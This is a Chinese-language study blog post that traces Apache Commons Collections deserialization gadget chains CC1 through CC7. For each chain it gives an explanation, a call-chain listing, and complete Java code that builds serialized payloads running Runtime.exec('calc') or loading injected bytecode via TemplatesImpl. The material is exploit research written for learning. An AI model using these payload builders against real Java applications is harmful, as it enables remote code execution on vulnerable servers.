JAVA反序列化-CC链

简介

Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。
学习路线
CC1->CC6->CC3->CC2->CC4->CC5->CC7

测试环境:jdk65
Commons Collections:3.2.1和4.0

CC1

影响范围

jdk  <=  71
cc   <= 3.2.1

逆向推

Transformer的实现类,发现了InvokerTransformer类,在InvokerTransformer类发现了transform方法。该方法类似反射,可以调任意方法并执行。有点像后门写法。
image

TransformedMap

这条据说是当时传入国内时分析出来的一条。

继续反向找谁调用了transform方法,于是找到了TransformedMap中的checkSetValue方法
image

然后发现valueTransformer可以通过构造函数传入,是可控的。继续反向查找谁调用了checkSetValue方法。然后发现AbstractInputCheckedMapDecorator类中静态类MapEntrysetValue方法调用了checkSetValue方法。
image

继续反向找谁调用了setValue方法,发现在AnnotationInvocationHandler中的readObject方法调用了setValue方法,且这里的memberValues是可控的。但这里的setValue(value)方法中的参数不是可控的,这里是固定的AnnotationTypeMismatchExceptionProxy
image

于是继续寻找解决办法,在Transformer的实现类中发现了ChainedTransformer类,该类的transform方法实现了传入一个transformer数组,递归调用数组中transformertransform方法。相当于,反序列化时,走到上面TransformedMap中的checkSetValue方法时,valueTransformer也就是传入的ChainedTransformer
setValue方法传入的参数,依旧在第一个,链还是走不通;
image

于是继续寻找,在Transformer的实现类中发现了ConstantTransformer类,该类的transform方法,恒值,返回构造时传入的Transformer。于是,在ChainedTransformer类中放入以ConstantTransformer开头的数组,就实现了,无视setValue方法传入的参数,继续后面的链。这条链就通了。

image

注意:
map.put("value","123");
这个valueTarget.class里面的属性

Gaget chain:

AnnotationInvocationHandler.readObject()
	memberValue.setValue()
		MapEntry.setValue()
			TransformedMap.checkSetValue()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

完整代码

//      链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

//      TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value","123");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);

LazyMap

LazyMap后面sink部分是一样的,也就是在找transform方法时,找到了LazyMapget方法。然后发现这里的factory也是可控。
image

于是继续寻找,找到了AnnotationInvocationHandler也就是动态代理的类,其中的invoke方法,调用了get方法。也就是只要执行了AnnotationInvocationHandler这个类的任意方法,就会调用invoke,进而执行get方法。但要走到这个get方法,invoke捕捉到的method参数必须是没有的。
image

其实入口类可以通过别的方法进入到这里,但ysoserial中这条链的原作者走的依旧是这个类,在AnnotationInvocationHandler.readObject()memberValues.entrySet()刚好无参数。所以整条链就走通了。
image

Gadget chain

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

完整代码

//      链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);

Object o = constructor.newInstance(Override.class, mapProxy);


serialize(o);

CC2

依赖:commons-collections4
TemplatesImpl 动态字节码中的类必须继承AbstractTranslet

可以结合CC3一起看
该链的依赖使用的是commons-collections4,在commons-collections4中,将org.apache.commons.collections.comparators.TransformingComparator类实现了Serializable,所以可序列化了。在ysoserial的CC2中,最后的执行链写的是Runtime.exec(),但其实是利用的TemplatesImpl.newTransformer来进行动态字节码。(ysoserial中也是执行动态字节码,动态字节码中是用字符串拼接了,然后生成字节码来执行的)

该链的sink执行链后半部分和CC3是一样的,最后都是调用TemplatesImpl.newTransformer来执行动态字节码。只不过该链前半部分没有使用InstantiateTransformerTrAXFilter,该链使用的是InvokerTransformer来执行newTransformer

也就是断在了反向找谁执行transform

反向找到了,刚好实现可以反序列化的TransformingComparator中的compare方法。
image

然后,找这条链的技术大佬java很扎实,就想到了,优先队列PriorityQueue中有compare,且刚好comparator对象是可控的,且优先队列PriorityQueuereadObject刚好会走到compare,于是一条链就完整了。
image

image

image

image

Gadget chain

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				PriorityQueue.heapify()
				PriorityQueue.siftDown()
				PriorityQueue.siftDownUsingComparator()
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TransletClassLoader.defineClass()

完整代码

//        sink 执行链为TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field fieldName = c.getDeclaredField("_name");

//        为了满足if判断逻辑
        fieldName.setAccessible(true);
        fieldName.set(templates,"aaa");
//         获取字节码属性
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

//        获取字节码
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        借用InvokerTransformer.transform触发newTransformer
        Transformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//        invokerTransformer.transform(templates);

//        TransformingComparator.compare触发transform
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer,null);

//        PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
        PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
//        过 heapify()的 size >>> 1判断逻辑    “2 >>> 1”  0000 0010  -> 0000 0001//        “>>>” 右移 补0 以8位为单位
        o.add(templates);
        o.add(1);

//        再通过反射填充回装有invokerTransformer的transformingComparator
        Class<? extends PriorityQueue> oClass = o.getClass();
        Field oClassDeclaredField = oClass.getDeclaredField("comparator");
        oClassDeclaredField.setAccessible(true);
        oClassDeclaredField.set(o,transformingComparator);


        serialize(o);
        unSerialize("ser.bin");

注意:
从头写的话,注意TemplatesImpl需要_tfactory属性逻辑。
优先队列put添加两个属性,才能过heapify()size >>> 1逻辑

这里也填了前面坑。在前面的CC链过程中,Runtime类,确实不能序列化。在序列化时,其实都没有生成Runtime类。 在反序列化的时候,才会触发,慢慢生成Runtime类,然后执行exec

CC3

TemplatesImpl 动态字节码中的类必须继承AbstractTranslet

该链的前半部分和CC1一样,但在后面sink类执行时,采用了加载动态字节码的方式攻击。也就是找defineClass方法,找到了TransletClassLoade
image

然后该defineClass方法由TemplatesImpl.defineTransletClasses()调用
image

然后继续找,上面的方法由TemplatesImpl.getTransletInstance调用,并在下面进行了实例化操作,刚好就符合了动态字节码加载的要求。
image

继续寻找,发现了TemplatesImpl.newTransformer的方法为public并调用了上面的方法。
image

到这里其实就可以用CC1前面的ChainedTransformerLazyMapTransformedMap进行拼接了,但是是原作者是找到另一条链进行拼接。
原作者继续寻找,发现TrAXFilter的构造方法中调用了newTransformer方法。
image

然后,又寻找到InstantiateTransformer.transform方法可以实例化TrAXFilter
image

然后再接上前半部分链就可以了,前半部分可以用TransformedMap或者LazyMap

Gadget chain

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InstantiateTransformer.transform()
					TrAXFilter.TrAXFilter()
						TemplatesImpl.newTransformer()
							TemplatesImpl.getTransletInstance()
								TemplatesImpl.defineTransletClasses()
									TransletClassLoader.defineClass()

完整代码

TemplatesImpl templates = new TemplatesImpl();

Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
//        为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
//         获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

//        获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

//        使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
});

//        LazyMap链
HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);

Class ccc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = ccc.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);

Object o = constructor.newInstance(Override.class, mapProxy);

serialize(o);
unSerialize("ser.bin");

需要注意:
Test类中,必须继承com.sun.org.apache.xml.internal.serializer.SerializationHandler
才能通过if (superClass.getName().equals(ABSTRACT_TRANSLET))的逻辑,才能反序列化成功

CC4

依赖:
Commons Collections 4.0
TemplatesImpl 动态字节码中的类必须继承AbstractTranslet

原作者都说了和CC2唯一的不同就是这里通过ChainedTransformer-ConstantTransformer-InstantiateTransformer-TrAXFilter来触发newTransformerCC2是通过InvokerTransformer来触发。可以结合CC2和CC3一起来看

Gadget chain

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				PriorityQueue.heapify()
				PriorityQueue.siftDown()
				PriorityQueue.siftDownUsingComparator()
					TransformingComparator.compare()
						ChainedTransformer.transform()
							ConstantTransformer.transform()
							InstantiateTransformer.transform()
							TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TransletClassLoader.defineClass()

完整代码

        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field fieldName = c.getDeclaredField("_name");
//        为了满足if判断逻辑
        fieldName.setAccessible(true);
        fieldName.set(templates,"aaa");
//         获取字节码属性
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

//        获取字节码
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        //        使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        });

//      创建TransformingComparator  
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);

        //        PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator  
        PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
//        过 heapify()的 size >>> 1判断逻辑    “2 >>> 1”  0000 0010  -> 0000 0001//        “>>>” 右移 补0 以8位为单位
        o.add(templates);
        o.add(1);

//        再通过反射填充回装有invokerTransformer的transformingComparator
        Class<? extends PriorityQueue> oClass = o.getClass();
        Field oClassDeclaredField = oClass.getDeclaredField("comparator");
        oClassDeclaredField.setAccessible(true);
        oClassDeclaredField.set(o,transformingComparator);

        serialize(o);
        unSerialize("ser.bin");

CC5

该链原作者说jdk版本必须要JDK 8u76,这里的jdk其实是jetbrains维护的,但很早就没维护的。其他厂商维护的jdk其实都可以触发。

该链可以对比CC6来看,CC6用的tiedMapEntry.hashCode,然后使用HashMap作为入口包裹,CC5是使用tiedMapEntry.toString,使用BadAttributeValueExpException包裹。
相当于,逆向找LazyMap.get方法时,找到了tiedMapEntry.toString
image

image

然后又继续找到了BadAttributeValueExpException的readObject调用了toString
image

该链就已经完整了。
需要注意的是,用BadAttributeValueExpException包装时,必须先置空,再用反射的方式放入。调试的时候,很诡异,不知道该怎么解释。猜测idea调tostring有点问题,即使关闭了debug的toString选项,也有问题。

如果我们直接将前面构造好的TiedMapEntry传进去用BadAttributeValueExpException包装时,在其构造函数就会触发toString,从而导致RCE。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发RCE的前提,将val设置为构造好的TiedMapEntry

Gadget chain

ObjectInputStream.readObject()
	BadAttributeValueExpException.readObject()
		TiedMapEntry.toString()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

完整代码

//      链式+Constant
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");

//        未能理解
//        BadAttributeValueExpException o = new BadAttributeValueExpException(tiedMapEntry);
        BadAttributeValueExpException o = new BadAttributeValueExpException(null);

        Class c = o.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(o,tiedMapEntry);

        serialize(o);
        unSerialize("ser.bin");

CC6

CC1相似,后半部分链是相同的。在反向找谁调用了LazyMapget方法时,找到了TiedMapEntry中的getValue方法。
image

而在TiedMapEntry这个类中的hashCode方法调用了getValue方法
image

这就正好和URLDNS链类似,可以使用HashMap类来进行包裹,将HashMap作为source入口类。

需要注意的点也是,在put的时候会执行一边hashCode方法,所以得提前修改对象的数据,然后再改回来。

Gadget chain

ObjectInputStream.readObject()
	HashSet.readObject()
		HashMap.put()
			HashMap.hash()
				TiedMapEntry.hashCode()
					TiedMapEntry.getValue()
						LazyMap.get()
							ChainedTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

完整代码


//      链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
		new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
		new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");

// source 包裹
HashMap<Object, Object> map2 =  new HashMap<>();


//      类似URLDNS那条链,先不填充,put后再填充,以便序列化时不触发,反序列化时触发,这里是先清空  tiedMapEntry 中的map,然后再填充成lazy
Class c = tiedMapEntry.getClass();
Field declaredField = c.getDeclaredField("map");
declaredField.setAccessible(true);
declaredField.set(tiedMapEntry,new HashMap<>());

map2.put(tiedMapEntry, "bbb");

declaredField.set(tiedMapEntry,lazy);
serialize(map2);
unSerialize("ser.bin");

CC7

该链的后半链和CC1相同,不同的是在调用LazyMapget方法是通过AbstractMap#equals触发
image

继续往后推,是HashTable#reconstitutionPut中调用了equals
image

然后在HashTablereadObject中调用了reconstitutionPut
image

整条链就走完了

接下来是参数控制的问题:
调用两次put
在第一次调用reconstitutionPut时,会把keyvalue注册进table
image

image

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将keyvalue注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

调用的两次put其中mapkey的值分别为yy和zZ
image

这里的index要求两次都一样时,进入for循环,比较e.hash和当前计算出的hash后,才会进入后面的equals。而Java里面,zZyyhashCode值是相同的,都是3872。所以刚好碰撞成功。两个Map需要hash相等,其实不需要哈希碰撞,随便写一个值异或回来就行。

最后的remove操作
HashTableput操作时,也会调用equals,调用完后(LazyMapget会进行map.put操作),map2会多增加一个yy->yy键值对。而在反序列化时,走到equals时,会与上一个比较size,所以就无法走到下面的get,进而无法调用恶意代码,所以得remove掉。我看其他文章与这里有点不同,可能是jdk版本的原因,不过最终都是要remove
image

image

Gadget chain

Hashtable
	Hashtable.reconstitutionPut
		AbstractMapDecorator.equals
			AbstractMap.equals
				LazyMap.get()
					ChainedTransformer.transform()
						ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
								Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

完整代码

//        hashcode相同3872
//        int b = "yy".hashCode();
//        int a = "zZ".hashCode();

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //      链式+Constant
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        Map<Object, Object> lazy1 = LazyMap.decorate(map1, chainedTransformer);
        Map<Object, Object> lazy2 = LazyMap.decorate(map2, chainedTransformer);
        lazy1.put("yy",1);
        lazy2.put("zZ",1);
        //map1.put("hack", -50515712);
        //map2.put("halfblue", 4396);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazy1,1);
        hashtable.put(lazy2,2);


        Class<? extends ChainedTransformer> c = chainedTransformer.getClass();
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);

        lazy2.remove("yy");

        serialize(hashtable);
        unSerialize("ser.bin");



    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unSerialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

总结

CC1和CC3受JDK版本影响 jdk72修改了AnnotationInvocationHandler这个类的readObject方法,导致前面的链就走不通了。

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。(TransformingComparator 变成了可序列化)

最后放上halfblue师傅做的图
image

附上学习过程中写的CC1-7的代码地址
https://github.com/Jarwu/java_commons_collections_learning

参考

非常感谢下面师傅的视频和文章
https://www.bilibili.com/video/BV1no4y1U7E1
https://github.com/frohoff/ysoserial
https://paper.seebug.org/1242/
https://halfblue.github.io/2021/08/23/CommonsCollections反序列化链整理/

posted @ 2023-09-01 13:48  Jarwu  阅读(388)  评论(0编辑  收藏  举报